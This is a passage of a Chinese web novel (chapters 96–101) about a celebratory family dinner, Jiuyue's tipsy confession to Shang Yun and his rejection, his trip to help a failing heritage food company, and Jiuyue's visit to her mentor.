原来她的原稿被人盗用后,她在木信的陪伴下,用了两天一夜的时间重新设计了一套图纸。并在三天内紧赶慢赶,将样板做出来,在对方一脸惊愕地神情下淡定飞往巴黎参赛。 心态决定成败,只要不放弃希望,就会迎来奇迹。 “姗姗,你真是我的女战神,我就知道你如此优秀,一定会获得认可。”木信高兴得语无论次。 姗姗却哭成了泪人,带着哭腔说道:“现在,我自由了。我带着全世界的认可,飞去你身边,以后我就筹办自己的工作室,我们永远在一起好不好?” “傻瓜,当然,当然好。我去接你。”木信又欣喜又心疼,不知说什么好。 “嗯嗯,晚上七点半,你在机场接我。” 这对异地鸳鸯,经过五年时间异地思念煎熬,终于迎来高光时刻。 尚云得知木信这个好消息,打电话让岑姨准备丰盛晚餐,专程为姗姗接风洗尘。由此可见,他与木信的关系非同一般,亦师亦友,既是上司也是亲人。 因此,这是一次家宴,也是给姗姗的庆功宴。 但他一个人请两位小情侣吃饭,自己像个高亮的电灯炮,就将九月也一起叫来。 九月跟尚云出去吃过几次饭,每次必去色、香、品俱全的南月楼。 她觉得这次一定也是南月楼了。 车开出了好远,她发现路线不对,便问道,“尚总,这是去哪里吃饭?” “望月阁。”尚云注意路况,言简意赅。 “哦。”听这名字,大概又是南月楼一样古色古香的酒楼吧? 但她万万没想到这次会去尚云家里,看到别墅庭院门口在智能扫描后。缓缓展开,她还好一阵恍惚,喃喃道:“这不像酒楼。” 尚云心中一动,说道:“这是回家,不是酒楼。” 九月怔了怔,“回家”二字是如此温暖又遥远。她望向尚云的目光有些犹疑,又有些慌乱失措,身体像是被钉在车椅里,一动也不能动。 他难得好耐心,“走吧,这里只有管家岑姨,木信和姗姗晚些时候到。” 岑姨原是酒店的外派厨娘,木信担心尚云一心扑在工作上无人照料,便跟酒店商量让岑姨长期留在望月阁服务。 酒店的老板徐总跟尚云也有些私交的,听说要长期服务,那不如忍痛割爱,让岑姨彻底成为尚云私人管家。 九月随尚云下了车,走出地下停车室,映入眼帘的是诺大的庭院,花草修剪得很整齐,前院很空旷,中间有一个池子,紫色和黄色的睡莲浮在池面。池边有假山喷泉,中间摆着一个白色的缕空的秋千架,大概没有人坐过,用透明的防尘薄膜所覆盖。 她倏地就想起少时,尚云在榕树下给她用铁链和木块也做过一只简易秋千。 “晚上池边湿气太重,进去吧。”尚云在她身后站了好一会,提醒道。说完他自己率先进屋了。 九月尾随而入。 岑姨正在厨房有条不紊的忙碌,见二人来了,忙要出来倒水,她端庄整洁,精练又毫无锐气。让人看上去很舒服,忍不住想亲近。 尚云拦住她,“你先忙,我们自己来。”他亲自给九月倒了杯温开水,“你先坐会,我去换套衣服。” 九月点点头,接过杯子,象征性地喝了两口,便参观起屋内中式陈设。 岑姨看到九月出现在厨房,微微一笑,“你好。再过十五分钟就能开饭了,您可以先在客厅坐会。” “不急,想看下是否需要搭把手。”九月身上一点架子也没有,不管对方是谁,她向来如此。 岑姨笑道:“不用的,忙得过来,您去歇着。” 第九十六章 木信结束异地恋 菜全数摆上桌的时候,屋外传来脚步声。 不一会儿就看到木信牵着一个肤白貌美个子高挑的女子出现在大厅。 “这是姗姗吧,来得早不如来得巧,请坐请坐。”九月正在帮忙摆上碗碟和筷箸,抬头看到忙打招呼。 “这位就是九月了。”木信在旁边介绍道。 姗姗笑着和她打招呼。“九月你好!” “姗姗,一路辛苦了。”尚云也正好下楼,他以前就见过姗姗,远远就打招呼。 “尚总,好久不见!” “诶?我是透明的吗?你们只看得到她?”木信笑着刷存在感。 众人齐笑。 互相介绍了一番,便围桌而座。 姗姗倒是落落大方,举起酒杯感谢尚云,一是对木信的栽培和照顾,二是给予自己与木信的诸多关心与支持,三是感谢他盛情接风云云。 尚云举杯接受她的敬酒,倒像个长辈,“这是家宴,都是自己人,不必客气。木信跟在我身边的时候,你们之间还是同学,转眼五六年了。我是看着你们一路走过来的,能走到今天特别不容易,终于结束异地相思之苦,替你们高兴。” 九月跟着沾光受邀,因此也端着酒送了木信二人几句祝福语。 姗姗赶紧敬了回来,话音未落就被木信拦住,抢了酒杯说:“我来吧,你别喝太多,当心头疼。我替她喝了这杯,跟在尚总身边多年,客套的话就不必多说,九月也是自己人,不会介意我替姗姗干了这杯。你们随意。” 九月浅浅一笑,便也喝下这杯酒。酒是好酒,入口便带着自然清香,味道醇厚。 “这是岑姨家乡古法手艺制作的桂花酿,小酌养身,不过后劲挺足的。”尚云似笑非笑,这话似是劝九月别饮酒过量,又碍于身份不好明说。 接着又说道,“来,岑姨的手艺不错的,大家多吃菜。今天特意嘱托岑姨去买了点新鲜大闸蟹,听说是今天空运过来的,木信,你给姗姗布菜。” 说着他自己夹了一只大闸蟹放置九月旁子里,“你也尝尝。” 九月便舀了一碗石斛老鸭汤摆在他面前,“岑姨说这汤养胃,你多喝点。” 尚云也不客气,接过来就慢条斯理喝起来。 机敏的姗姗瞧见二人这番看似拘谨又透着自然的奇怪互动,不禁瞧瞧木信,无声问道,“他们真的只是同事?” 木信则眨眨眼睛,无声回答:“当然不是,跟我们一样。” 两人眼神交流,默契十足。姗姗心中了然,抿嘴微微一笑。 席间,尚云问起姗姗未来的打算,姗姗说,目前打算开个工作室,做服装设计。 尚云点点头,“嗯,万事开头难,但凡事以终为始就不会走弯路。” 木信接过话头,半认真半开玩笑对姗姗说道,“我老板不会随便跟人谈论这个,他说的话你记在心里准没错。” “那得谨记。” 尚云笑着摇摇头,“说了是家宴,这里只有兄长没有老板,木信该罚。” “我错了。”木信心甘情愿与尚云碰了一杯。 九月听姗姗说要开工作室,想起自己当初也执意要开工作室,最终被尚云逼迫着进入普世文化。进入普世之后她从内至外确实发生了变化。 心里不再仅仅为了生存而工作,在岗位上做每件工作、为客户绞尽脑汁解决每一个痛点,都带着成就感和价值感,这是以前工作中所没有的体验。 尚云在医院里对她说的那番话,她历历在目,难不成这些改变就是打开眼界的过程? 现在想起来,自己这一步步阴差阳错看似走得很随意,很偶然,却像小时候玩的俄罗斯方块游戏,经过每一步精密推算过,才有今天这个不悔局面。 如果自己的人生存在精心安排的痕迹,那么尚云是否同样遭遇或者际遇? 是否真的存在命运? 深思这些,忽闻三人齐声而笑,没听清他们刚刚讲了些什么。 九月也微微一笑,让自己看起来不那么具有疏离感。 酒过三巡,终究是职场之人,三句不离本行。又加上姗姗也在酒精的作用下,掩饰不住满心志向抱负,不断向二人讨教创业事务。 木信和尚云便围绕组织刚刚成立该注意的知识点,给姗姗提前打预防针。 只听木信道:“刚成立的小公司还没有企业文化,也没有形成非执行不可的规则,普世刚成立那会就是这样。工作内容和职责分得不是那么清楚,很多岗位关联性很强,他做可以,你做也可以,但忙的时候都有立场说那不是我的工作,我有自己特定的任务。 在文化还没成型前,创始人的态度和价值观就成了直接影响团队的隐形力量。很多人因此说企业文化就是老板文化,因为老板的理念和影响最大,会影响大家做事的氛围和标准。 另外前面二十个员工也很重要,被称为第一批员工。 他们直接受老板价值观影响,经过长时间的摸索磨合,形成一定的规则。后面进来的员工为了生存,大部分会在第一批员工的工作氛围中适应下来,迎合并加强这种氛围。 当然,也有个人主义特别浓厚的人才,不会受影响,在什么样的环境中都能用自己一贯的方式做事。 这些至关重要,你的工作室在一开始就要留意这一点。” 姗姗本来觉得做工作室为了满足自己独立接单、自由运营的意愿,没想到里面有这么多复杂的要素。当即压力山大。 “木信你会来帮我的对吧?”她笑着将重担抛出去。 “当然!”木信忍俊不禁,知道姗姗不会真的全部依赖于他,但还是有一说一:“但我不能时时刻刻在你身边,尤其你在日常工作中需要做决策的时候,机会转瞬即逝,你总不能等着我来替你拿主意。所以,亲爱的,还得你自己掌握其中的密码。” 姗姗还未接话,尚云却开口说了一番简洁易懂却让在场的三人都深深震撼的话,“不管是为人处事,还是创办自己的事业。一个人在一生当中面临的考验,收获,挑战,成长,均来自我们本身的价值观。所以,人常说性格决定命运,实际是价值观决定命运。 你的价值观如何,决定了你的人生和事业会遇到何种考验和收获。不用把它想像得太过复杂,坚定信念,在头脑清晰的时候跟着直觉朝着目标走就行了。” 木信细细琢磨,点点头,举杯敬尚云,“老板,这句话我受用一生,我必须敬你。你以茶代酒就行。” 第九十七章 把尚云哥还给我 姗姗见九月只是旁边安静听大家聊天,却很少插话。便拉着九月道:“九月姐,我们其实神交已久。” 九月便笑道,“怎么说?” “我常听木信说起你我二人年龄相仿,性格相似,又听说你的绘画功底和设计颇为出彩,想来我们还是半个同行。今天终于见到真人,我们得为这份缘干一杯。” “那都是以前混口饭吃,拿不上台面的技艺。跟你没法比,差得太远,不过能有这样的机缘相识,确实幸运。”九月口齿稍微迟缓,应答倒还算清醒。一仰头一杯酒便下肚了。 她对这样带着香味的酒带着近乎偏执的喜欢,上次这次放肆饮酒还是碰上了“七月桃花酿”。因此在他们聊天时,她就已经不知不觉当茶饮,喝下不少,对敬酒更是来者不拒。 等到大家将注意力投在她身上时,发现她已经有几分醉意。 木信见状,便道,“看样子九月已经醉了,时间也不早了,我跟姗姗就先回去了。” “我没醉,酒量还可以。”她扶着脑袋,“就是有点头晕。” 尚云看向九月的眼眸暗了暗,回头叫岑姨给木信叫了代驾。岑姨贴心地替他们的车开出滨海香苑以便代驾过来接洽。 “我送你回去。”尚云扶她起身。 她摇摇晃晃,挥舞着手,“不用扶。” 挣开他的搀扶立即腿软下去。 她听到他叹息一声,就觉得自己身体一轻,被他打横抱了起来走出餐厅。 “你带我去哪。” “送你回去。” 出了房间,室外的冷风吹在脸上,她瞬间打了个冷颤。一只手扬起来,点点他的肩膀,“这不是家吗?你要送我回哪去?” 他脚步刹时停在那儿,对上她迷离的目光,似是想知道她是醉话还是清醒之言。 “放我下来。”她挣开他的怀抱,脚步虚浮,笑着道:“这个世界上,我将你当成唯一的亲人,唯一的念想。你却那么残忍,总想跟我撇干净。” “我不贪图钱财回报,也不想要什么职场地位。我没有那么高远的胸襟格局,没有伟大的家国情怀。只因为是你,我才心甘情愿留在普世,觉得所做一切都有意义。只要你认为我该做,我就会全力以赴做好。” 他一言不发,听她诉说衷肠。 庭院柔和暖色灯光照在她脸上,也照亮了她的泪痕:“我知道,今天你能叫我过来,只是一个陪衬。否则,我永远也没机会出现在这里。” 她的声音带着硬咽,“你知不知道,我在心里已经将你否定一千次一万次。无数次下决心将你当成陌生人。可是见到你,哪怕只是听到你的声音,那些见鬼的骄傲、尊严、理智就统统让路,我十余年建筑的防护墙,在你面前不堪一击。” “跟你说这些作什么。”她又是流泪又是笑,转身踉跄着脚步朝大门走去:“你早已不是当年的尚云,只是一具没有感情的工作机器。” “如果你不嫌弃,以后这里就是你的家。”尚云不大的声音,在这静谧的庭院尤其清晰。 九月止住步子,摇晃了一下转过身来,惨然一笑,“太迟了,太迟了。如今,我得考虑莫诚的感受,我知道被忽略不好受。” 说话间,尚云已缓步走近,满眼伤痛:“九月,你醉了。” “我很清醒。”她抬起头定定的看着他,眼底水光闪动:“你放心,我依然会像以往一样,为普世弹经竭虑。将你的目标看作是我自己的。” “你不能跟莫诚在一起!”他的声音像铁板钉钉,不容反驳。“换谁都可以,不能是莫诚。” 她静默半晌,不知太冷,还是被气的,她的嘴唇发紫,肩膀抖得像是秋天落叶。就连控诉也显得无力:“你太过分了,太过分了。” 他不管她心里怎么想,万千苦衷还不到摊牌的时候,以免打草惊蛇,只能退一步告诉她:“他给不了你幸福。” 九月一刻都不想看到他,转身欲走。 在下一秒,手被牢牢拉住。 她死活挣不开,不禁愤言疾色:“你怎么能轻而易举就否定他人一切,自私到要掌控一切。在我人生中最艰难最黑暗的岁月,若不是莫诚和小竺一路悉心照顾将我拉出低谷,这个世界上早已经没有慕九月,只有一座冰冷墓碑。我此刻也不能活生生站在你面前,听你说他给不了我幸福。尚云,你的心是铁石做的吗?” 他逆着光,神情悲凉,热血涌动就一把将她拥入怀中,力气之大仿佛要将她揉进自己体内。 尚云声音压抑着痛楚、茫然,哑着嗓音低声道:“我该怎么做?九月,你要我怎么做?” 事已至此,仿佛一局死棋,既不能进,又不能退。眼睁睁看着两败俱伤。 在他人眼中如天神一般无所不能的男子,此时竟也发出困兽般的痛问。 她陡然崩溃,反手抱着他,哭得上气不接下气。“把尚云哥还给我。” 不知过了多久,他们就这样站在庭院中,她的哭声也已停歇,身心松驰后,酒精犹如催眠剂在体内发挥作用,依偎在他怀里睡着了。 耳边听着她均匀的呼吸,闻着她若有若无的发香,心柔软得一塌糊涂。 此时,岑姨从外面进来,看到这一幕先是一怔,而后便轻轻走过来,“尚先生,需要我做什么吗?” “把我隔壁那间房收拾出来。”尚云低声说。 岑姨领命而去。 其实那间房一直都铺陈如新,像是随时等候主人入住,用度陈设完全是女子卧房。岑姨每天都会进去打扫,心下也不免疑惑。如今算是有了答案。 她唇角抿嘴,动作利落,很快便准备妥当。 便看到尚云抱着九月上楼来。 岑姨煮了醒酒汤,端上来。看到尚云一脸疲惫坐在床沿,一动不动看着沉睡的人儿发呆。 “尚先生,喝碗醒酒汤。” 尚云本想拒绝,但岑姨如此周到,又不好拂了心意,便接过汤碗,喝了两口,“岑姨,你去休息吧。” “好,那您有事叫我。”岑姨端着汤碗下去了。 尚云也离开九月房间,轻轻带上门。 半夜,尚云大汗淋漓从睡梦中醒来。 他坐起身,摁开床头灯的开关,前额发际被汗水浸湿,垂在额前。苦涩透过紧抿的唇,延至紧蹙的眉心,深邃眸底被沉重与黯然所覆盖。 十几年来,他反复做着同一个梦,遇见老者告诫自己将孤苦一生,每次都在少年九月撕声裂肺呼喊亲人的哭声中惊醒。 这已经成为他的心魔。 第九十八章 你我之间绝无可能 他缓缓起身,走进淋浴室。 洗完澡换上干净睡衣,无法入眠。便像无数个夜晚一样,披了一件外衣穿过黑暗走进“明月居”,案上摊着慕家车祸变故一案的调查卷宗,以及九月部分经历线索。 那是阿闲前段时间寄给他的调查成果。 头脑中不断回想九月的醉言,坐在椅子里,痴痴看着墙上那幅巨大的“漠影”出神。 听到轻微声响,他扭头一看,原来虚掩的门不知何时已被推开一部分,他挥手关掉“漠影”墙画,起身快步追至门口,看到九月下楼的背影。 “九月。” 她停住脚步,在暗夜中解释道:“我有点渴,无意中看到房间亮着灯,就好奇看了一眼。” “怎么不开灯,当心台阶。”尚云按亮走廊灯光。 室外皓月当空,洒了满地银片,到处亮晃晃的。她此时酒醒了,却有气无力:“我看得清。” 他缓缓拉上书房的房门,本想回房。却看到九月拿了一支水,朝室外走去。他顿了顿,最终一声不响的跟了上去。 看到她坐在秋千上,拧开瓶盖喝了几口水。他暗暗松了口气。 “半夜坐在外头,不冷吗?”尚云走过去,将自己的外衣披在她肩上。 她没应声,将手中的水瓶放在旁边。“今晚喝多了,跟你讲了许多带情绪的话,请你别介意。” 他在旁边的竹摇椅上坐下来,身体向后靠,仰面躺在竹摇椅上,盯着头顶的圆月,黑眸在月光下熠熠生辉:“你能这么说,看来酒醒了。其实你没说错什么,这些年你过得很不容易......” “我过得不容易,那也是我自己的命。不应该将责任归咎到旁人身上去。”九月打断他,语调清醒而冷静,跟醉酒偎在他怀里的小女人判若两人。 他侧头看她一眼。她却望着假山,幽幽说道:“这世上谁比谁容易?不过是硬着头皮死扛,谁都没有理由让别人围绕着自己转。” 这个论调的九月倒是成熟大气,懂得站在他人立场想问题。但尚云却觉得近在咫尺,远在天涯。她像一个谜,变幻着各种象,连他也分辨不出哪一面才是真实的九月。 “无论如何,我希望你过得好。以前是我做错了决定,导致你受了那些苦。希望以后能尽量弥补。” “我说了,我过得不好跟别人没关系,你不亏欠我,不存在弥补这一说。每个人在成年后就应该为自己负责,也只能自己负责。”她不急不徐地语气中透着十足疏离感。 “对,只能自己负责。”尚云欠了欠身子,他再一次,也是最后一次老话重提:“有些事情你可能不希望我插手,作为上级也好......家人也罢。我还是希望能给你一些逆耳忠言。” 她没出声,原本轻轻摇晃的秋千静止不动了。 “我希望你有一个好归宿,但是,不希望看到你由于感激而深陷一段感情,那只是一个泡影,维持不了多久泡影就会消失。”说完,他起身,准备回房。“夜深露重,离天亮还早,回去睡觉吧。” “除了你,我哪来的好归宿?”她几乎脱口而出,带着颤音。 他僵在那儿,半天才艰难回应:“我给不了你幸福。” 她也站起身,秋千瞬间放空,在身后微微摇晃,冷不丁地将心底的疑惑问出口:“是因为我爸爸吗?我父母的死跟你有没有关系?” 他被问得哑口无言,万万想不到九月会问出这番话来。 怎么没关系?如果不是受他的欠连,慕家何至于此?他如何能撇清关系,又如何向九月解释这其中的曲曲折折? 他的沉默让答案呼之欲出,九月不可置信地盯着他的背影。 尚云如果不在乎她,为何要将她赠予的告白画留在书房墙上,他如此聪颖,那幅《漠影》表意明显,他不可能没看懂。可若是心里明明有她,却为何要装作大方将她推出去。 除非他有苦衷,而他的苦衷除了他亲笔画上与慕爸爸长相神似的男子之谜,她实在想不出来他这么做的原因。 “慕家的确受我牵累。”他低沉如水的声音,飘荡在二人之间,像一把泛着寒光的利刃,斩断她犹怀期待的希翼。“你所经历的一切,都是因我而起。我亏欠慕家,没有资格给你幸福,你我之间绝无可能。” 泪水延着坚毅的面部线条滑落,字字句句都有万斤重量,击碎了自己的妄想,也戳破了她的幻梦。 她嘴唇颤动,一个字都吐不出来。胸腔传来撕裂般的痛楚,她不禁紧紧捂住胸口,大颗大颗的眼泪落下来,泪眼朦胧中,他的身影远去,彻底消失在视线里。 天亮了。 他经过九月房间时,停顿了一下,自己走下楼。 岑姨已经做好早饭,“尚先生早。” 尚云点点头,脸色有些憔悴,“岑姨早。九月还没起床吗?” “她很早就走了,说回去晚了怕塞车。”岑姨欲言又止。 他有些诧异,又觉得这么做符合她那自尊自傲的性子,遂点点头,问道:“有没有说什么?” “她倒是没说什么,但眼睛红肿得厉害,面色也格外苍白。想必是昨晚我照顾不周了。” 他微蹙的眉头又沉了沉,淡淡道:“不关你的事,不用多想。” 第“那您的早餐已经准备妥当。”岑姨不再多言。 餐厅里,诺大的餐桌上,摆着几样早点,都是易消化有营养的食物。 尚云慢条斯理吃了几口便不再动筷子。 他拿起岑姨按他习惯准备的当天报纸,那些浅显易懂的文字确好像在纸上跳跃,一则通讯以往只需扫一眼便大概了解内容,今天却看半天都不知讲了些什么。 岑姨见这神情,也不敢出言打扰,聪慧老道的心思猜出了个八九分。 尚先生什么都优秀,长相英俊,气质卓绝,能力超凡。但性情稍微严肃了点。虽然对待她和钟点工都算亲和,但他从不爱笑,也不多言。偶尔家里来了客人,就算遇到幽默话题,也仅仅是嘴唇微弧,算是应了大家的兴致。 至今都没见他单独带个女孩子回来过,主人带回家的客人当中也还是有女孩子来过,而且是唯一一个能出入在主人家里的女孩子。 叫什么来着?岑姨歪头想了想,哦,叫龙子玥。 上次乔迁宴她就留意了,龙子玥小姐对主人那份情意可谓是司马昭之心,路人皆知。就连她也认为,主人总有一天会对龙子玥上心的。可主人对龙子玥的态度,疏离中有宠溺,宠溺中有客气,客气中……还是客气。 总之,就是没有男女之间应有的眉目传情,牵牵绊绊。 昨晚看到他待九月姑娘那份深情,才恍然大悟,她家的年轻主人心有所属。 可这才一个晚上的光景,九月姑娘就不欢离去。 俗话说,金无足赤,人无完人。可不是吗?各方面如此优秀的人,偏偏感情之路不平顺。“实在可惜了。” 尚云闻言,停下动作看向她。“什么可惜了?” 第九十九章 千里救急 “啊?”岑姨掩嘴,意识到自己把心里话说出来了,尴尬一笑,索性顺水推舟:“先生问,那我可就多嘴了啊。” “嗯。说吧。”男人拿过餐巾擦了擦嘴,难得一向言语不多的岑姨挑起话头。 “餐桌旁应该有人陪您进餐;尚先生每天忙于工作连个舒解心事的人都没有,尚先生事业有成,长相出众,却孤身只影,屋里少了个女主人。尚先生,您别光顾着工作,得为自己终身大事想想啦。 女孩子很好哄的,有时生气也是撒撒娇,何况九月姑娘看起来也是懂事明理的人,昨晚在厨房帮我洗菜,嘱咐我说你有胃疾,以后在你的饮食方面多注意食材搭配。还告诉我很多养胃的食谱。” 尚云没想到她会说这些,愣了片刻,眼睛落在对面位子上,沉默间,脑海里已经自动浮现出那张清丽的脸庞。 “除了你,我哪来的好归宿?” 她音犹在耳,而他亦有同感。 只是,今生今世怕是不可能了。 岑姨见尚云沉着脸一言不发,以为他不高兴,赶紧道歉。“我多嘴了。” 尚云看了看面前的早餐,心里难受得紧,随即淡淡的说:“没关系。我吃饱了,收了吧。” 一脸歉然的岑姨收拾吃到一半的早餐,暗怪自己多嘴。 尚云回到公司,来得比较早,公司里静悄悄的。 九月从茶水间出来,刚巧遇见尚云。 “尚总早。”九月像往常一样,气色不好,特意画了精致的妆容,看起来精神了不少。 “早。”尚云应道,眼睛在她脸上快速扫了一圈,便离开了。 不一会儿,关之洁也来了,看到九月一脸惊艳:“九月,今天特别好看。” 东维恺也出现在门口,“今天是什么日子,让九月如此盛妆。” 九月也就顺着话头道,“妆容是女人的盔甲。今天要接见重要客户,得严阵以待,不敢马虎。” “可怜男性只能裸身上战场。”东维恺故作忧伤。 关之洁扑哧一声笑了,九月也被他的幽默反应所折服。 这时,看到木信的身影经过办公室而不入,径直去了总经理室。 看来有重要事项要汇报。 原来之前研发部分立小团队研发新产品,在公司的App服务产品上新增加一款智能工具,这段时间的已经有所收获。 木信眼里光芒四射,神采奕奕:“之前我只是根据客户一些痛点,提议研发部朝决策系统上开发。没想到研发部脑洞大开,研发出这一款智能产品,以大数据核算代替人脑,能帮领导者推算出一系列有利于企业发展和实现战略的决策。 为防夜长梦多,必须早日推出市场,我们得尽快试用实践,如果在本公司局部测试有效,再寻找外界试点客户。尚总,我觉得事不宜迟。” 尚云沉吟道:“公司要完全脱脑克普的打压,需要极速成长。我们的目标不变,但尽可能要提前,趁市场反响热烈,一鼓作气冲破障碍。所以,我觉得这是一个契机。” 木信一时没反应过来。“你的意思是?” “尽早布局,培养出第一批能独立分派出去的团队,旨在选出能堪重任的骨干,以便上市后成立分公司。所以,这项智能产品在内部既是测试,也可以趁机组织一场竞赛,筛选人才。你将我的意思吩咐下去,要各部门负责人选出种子选手,看看各方实力。” 木信点头如捣蒜,“明白了,明白了。我这就跟他们开会。” “另外,我要出一趟远门,约两天后回来,公司有任何事情随时联系。” “九月会一起吗?” 尚云摇头,“不必了,她手头有重要项目要跟进。” 木信离开后,尚云给关之洁打电话订机票。 挂了电话目光移至桌上的报纸,这是他从家里带来的。 今早餐时看到一个标题将他吓一大跳,头条新闻便是宋氏食品企业面临倒闭,报道称这家企业年年亏损,今年甚至在旺季都开始实行轮流休长假。以此来扛过隆冬。 尚云记得儿时,这位慈祥的宋氏食品创始人跟父亲走得比较近,有点商场前辈的意思。那时父亲经营雷默很多方面都不得要领,多亏这位创始人远道而来从旁提点,指导。雷默才渐渐稳当,后来发展得那样庞大。 除了这一层关系,宋氏食品是不折不扣的良心企业,物美价廉不说,创始人戴老先生为人厚道,白手起家,从不为大肆谋利而踩踏行业红线,在民国时期,戴老先生的父祖辈为国家也做了不少贡献,这家企业可称得上是国之瑰宝。宋氏食品不该有这样的结局。 无论如何,他不能坐视不管。 不久,关之洁回电话说机票已订好,一个小时后的飞机。 同一办公室的九月自然也听到了,没多久,她就看到尚云穿戴整齐地拎着商务包从办公室前走过去。 往年在这个季节,宋氏食品正处旺季,加班加点,灯火通明,车间流水线忙得火热,但这几年一直在走滑坡路,一天不如一天。 尚云经过近三个小时的飞机,找了当地一家酒店安置好,便在宋氏食品公司附近找了一家餐馆观察一番,从各方面获取蛛丝马迹。 第二天,他才正式拜会戴老先生。 戴老先生已年过古稀,精神也不大好,但双目有神,仍精气十足。听尚云表明来意后,意向并不高,显然已经无心无力了。 “宋氏食品自我祖上创立至今,已经一百五十多年,这个周期已经足够长。我自年少便随我父亲共同经营,六十多年的经验可说是身经百战。公司每一个流程每一道工序都出自我的改良,在我手上经历了鼎盛时期,也经历了如今的凋敞。一个朝代自有命数,一个企业也有它的命数,顺其自然,听天由命。” 尚云也不着急,耐心劝道:“戴老先生,话不能这么说。虽说企业有它的周期和命数,但咱们民族的文化精神不能灭。像宋氏这样的企业,穿越了上年百的历史,见证了我国的盛衰,也为国为民作出伟大的贡献,它的存在是有价值的。” 见戴老先生不说话,他继续说道:“无论如何都不能将它看作简单的一家企业,它还传承这个民族的文化和精神。我们作为外人,尚且舍不得放弃它,作为你呕心沥血一手经营的企业,就犹如您抚育长大的孩子,如今宋氏只是遇上棘手难症,试想父母怎可舍弃生病的孩子?” 第一百章 恩师宇崇帆 戴老先生眼角闪烁水光,一手扶着老花镜,一手用手捐擦试。良久才口风松了几分,“公司这几年来已经愈况每下,早就收不抵支,只怕是付不起这笔服务费。我这些年膝下无子,只有一个远嫁的女儿,她为人本分相夫教子,也不是经商之材。我一个人苦苦支撑,身心俱疲。公司遭遇滑铁卢,日日辗转,长期高压,身体大不如以往了。” 尚云倒是没考虑到这一点,不过,他头脑灵活,很快有了应变之策。 这时又听戴老先生说道,“年轻人,要不我安排人带你去车间转转,看公司还有没有一点希望,评估需要支出多少费用才能转变这种情况?如果费用太过昂贵我恐怕支付不起。想必你是看了新闻才找到我。 新闻为照顾我的颜面,只是云淡风表一笔带过,实际情况要糟糕得多。” 尚云知道他的担心,便有意将自己作为初出茅庐的创业者,让戴老先生可以毫无心理负担接受他的帮助:“戴老先生不用担心,这次服务是免费的。就当是替公司做一个成功案例,创业不易,老先生是给自己机会,也是给晚辈机会。” 他刻意停顿一下,见戴老没有异议,才往下说:“不过,我有个不情之请,建议您亲自带我去各个部门转一转,讲解一下。你的视角和其他人的视角有很大区别,我能掌握的有用信息会更多。” “当然,我看得出来您今天的精神状态不佳,今天只打算拜会您,等您精神好转我再过来,如何?” 戴老先生也不是糊涂老人,一生当中阅人无数,对方有没有真本事,自己一眼便瞧出来了。 此人有思想有见地,举手投足充斥气慨,绝非等闲之辈。又见他心甘情愿将自己身份放得很低,态度也很诚肯,便答应精神好转会给他打电话。 尚云这才将名片以及一盒礼物放在戴老面前,“这是我的名片,另外宝宁市有位朋友托我给您捎来。” “你的朋友?我在宝宁市有交情的朋友不多。” “朋友姓古,您还有印象吗?” “倒是有个朋友叫古力祥,但他已经......”戴老先生沉思的神情,突然有惊诧之色,“难道就是宝宁古家?” “朋友不让我说,我也就不便多嘴。就此先行告辞,改日再来。”尚云笑笑,离开了。 尚云离开后,这才执起名片端详,但精致的黑白名片上,仅尚云的姓名和电话,以及专业领域,没有更多的信息。 尚云离开的这两天,九月晚上也没闲着。在工作上仍然不遗余力,晚上收拾一番,打车去了长泰路口。 长泰路口在开发前是一个大型十字路口,开发之后有了双层盘旋立交桥,周边早就规划好作为高级居住,基础设施以及两侧的商业都确定了的,未来这一片将比市中心还要繁华,算是未来十年的潜力区。 九月在立交桥侧下了车,沿着一条宽敞干净的大道,走进一片别墅群,最后在一座花香四溢的院落前驻足,摁了摁门铃,是一位菲佣开的门,用还算标准的普通话向九月问好,“九月小姐晚上好。” “艾蕾,你好。老师在家吗?”九月问。 “先生今天没出门,在家休息。” 说着,艾蕾领着九月进了屋,在玄关换了鞋,跟着她来到先生的书房。 九月敲门,房里传来一声中气十足的“进!” 推开门,一个白发男人背朝外正在绘画,手中徐徐几笔便勾勒出白猫娴静守着幼猫捉尾的生动场景。画中烟如浩渺,皓月当空,半边隐进黑暗云层,花从和柳树在狂风中摇摆,柳树荫里水面纹路清晰而几可乱真。 “老师昨晚又在盼他。”画里的场景就是院子里的场景,若不是迎风凝视,又哪来这些细节。 “九月来啦。”白发男人叫宇崇帆,鹤发童颜,那一头白雪般的发丝蓬松而卷曲,垂到肩头,有点格林童话即视感。 “这几日心下疑惑得紧,想跟老师聊聊。” “也好,还有你常来看我。有子似无子,无女胜有女。”宇崇帆沉沉叹口气,动了气猛烈咳起来。 九月倒了杯水端给他,替他抚背顺气,“老师要注意身体,不宜深夜在室外久坐,容易湿寒入体。琪哥若是没空回来,你就是坐到天荒地老也无用,何必折腾自己身子。” “这个逆子岂是比皇帝老儿还忙?皇帝尚且还知道定时给母亲请安。成天不知道他在外头干什么。当初若不是你机灵帮了他,他哪还有今天的光景,还不知道收敛。”说着宇崇帆又咳起来。 九月一边替他顺气,一边劝慰:“老师,琪哥不是不着调的人,你们心平气和互通心事,说不定关系就缓和了。你心里念着他,见了面却板着脸,他自然不愿回来。” “我这大半生,桃李满天下,到头来却拿自己唯一的儿子无可奈何。传出去颜面何存。”宇崇帆让九月坐下,“不说这些了,添堵。你突然来这,是遇到什么事了?” “上次老师说托朋友帮我打听的事情,不知是否有眉目了?” “没有那么快,千丝万缕的谈何容易,不过,前段时间倒是听说另有人也在查这件事,估计这些事情已经引起不少人注意,你的事情迟早会还你公道。” 九月沉默不语,心里焦急,但一时半会也无法抒解。 “你好好过日子,别去想太多。” “老师说的有道理,但正如老师所说,如果陷我于不义的人恰巧是我身边的人,早知道便早日止损。如今无法确定又无从排除,这不上不下尤其难受。”九月举棋不定,“况且,我也确实处在关键节点,事业和感情莫不牵扯其中,眼下倒是想学那些个赌徒,舍了这全副身价押进去,要么满盘皆输,要么两败俱伤。横竖都是一个惨,倒也不若现在这般投鼠忌器。” “不可,九月。”宇崇帆脸上流露出担忧,“你知道我为何要收你做学生吗?” “是老师有大爱怜悯之心。”九月当初就是这么想的。“还有旁的原因?” “当时你和其他孩子一样,都身陷困境,但你在险境中虽然心存恐惧,却毅然挺身而出保护身边的受害者。琪儿不就是你救下的吗? 我那天随人去救人的时候,所有的人都躲在你身后,直到确定我们是营救队才敢露脸。你那双眼睛特别亮,特别果敢,如一只视死如归的雏鹰。 我不知道你之前经历了什么,但那一刻我忘不了,心想这孩子实在与众不同,那份勇敢超出她的年龄。所以之后打听到你的处境,又知道你中途辍学,有绘画的特长,便打算收你为学生,托以前的学生带你走向品牌视觉设计之路。” 第一百零一章 长相思 在九月看来,过去所有的伤害都如流血的伤口,事情一旦过去就结了痂,留了疤,就像给伤口钉了一层加厚补丁,比起其他肌肤,留疤的地方更加耐磨。 